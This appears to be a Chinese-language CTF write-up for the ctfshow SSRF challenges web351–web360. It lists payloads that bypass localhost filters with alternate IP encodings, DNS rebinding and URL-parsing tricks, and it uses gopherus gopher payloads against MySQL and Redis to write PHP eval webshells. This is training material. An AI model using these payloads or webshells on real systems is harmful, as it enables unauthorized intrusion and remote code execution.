web351
存在一个flag.php页面,访问会返回不是本地用户的消息,那肯定是要让我们以本地用户去访问127.0.0.1/flag.php
web352
代码中先判断是否为HTTP或https协议,之后判断我们传入的url中是否含有localhost和127.0.0,如果没有则执行下面语句
意思:过滤掉了localhost和127.0.0
url=http://0x7F.0.0.1/flag.php 16进制
url=http://0177.0.0.1/flag.php 8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php
web353
这题与上一题类似,过滤更严格,但可以使用进制转换
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
web354
该题过滤了1和0,使用DNS重绑定绕过
url=http://sudo.cc/flag.php
web355
限制了host长度:小于等于5,使用127.1省略绕过
url=http://127.1/flag.php
web366
此时的host长度限制为小于等于3
0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0
url=http://0/flag.php
web357
gethostbyname()函数
主要作用:用域名或者主机名获取地址,操作系统提供的库函数。
成功返回的非空指针指向如下的hostent结构:
struct hostent
{
char *h_name; //主机名
char **h_aliases; //主机别名(指向到虚拟主机的域名)
int h_addrtype; //主机IP地址类型
int h_length; //主机IP地址长度,对于IPv4是四字节
char **h_addr_list; //主机IP地址列表
};
#define h_addr h_addr_list[0]
filter_var() 函数
通过指定的过滤器过滤变量。
如果成功,则返回已过滤的数据,如果失败,则返回 false。
所以url不能是私有地址,需要一个公网ip
在网站http://ceye.io/注册账号,会自动分配一个域名:
http://r.xxxxxx/flag.php
xxx为分给你的域名
web358
这里的正则表示以http://ctf.
开头,以show
结尾,即匹配http://ctf.*show
url=http://ctf.@127.0.0.1/flag.php?show
如果不在ctf.
后面加@
,解析url时会把ctf.
也解析成host的内容,如果不在show
前面加#
或?
,会把show也解析到path中,得不到想要的结果
web359
抓包发现有个returl参数,并且可以随意更改url
gopher协议打mysql
python gopherus.py --exploit mysql
生成一句话木马:
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
访问2.php
,cat一下
web360
跟上题一样,只不过换成打redis
python gopherus.py --exploit redis
<?php eval($_POST['cmd']);?>
然后访问shell.php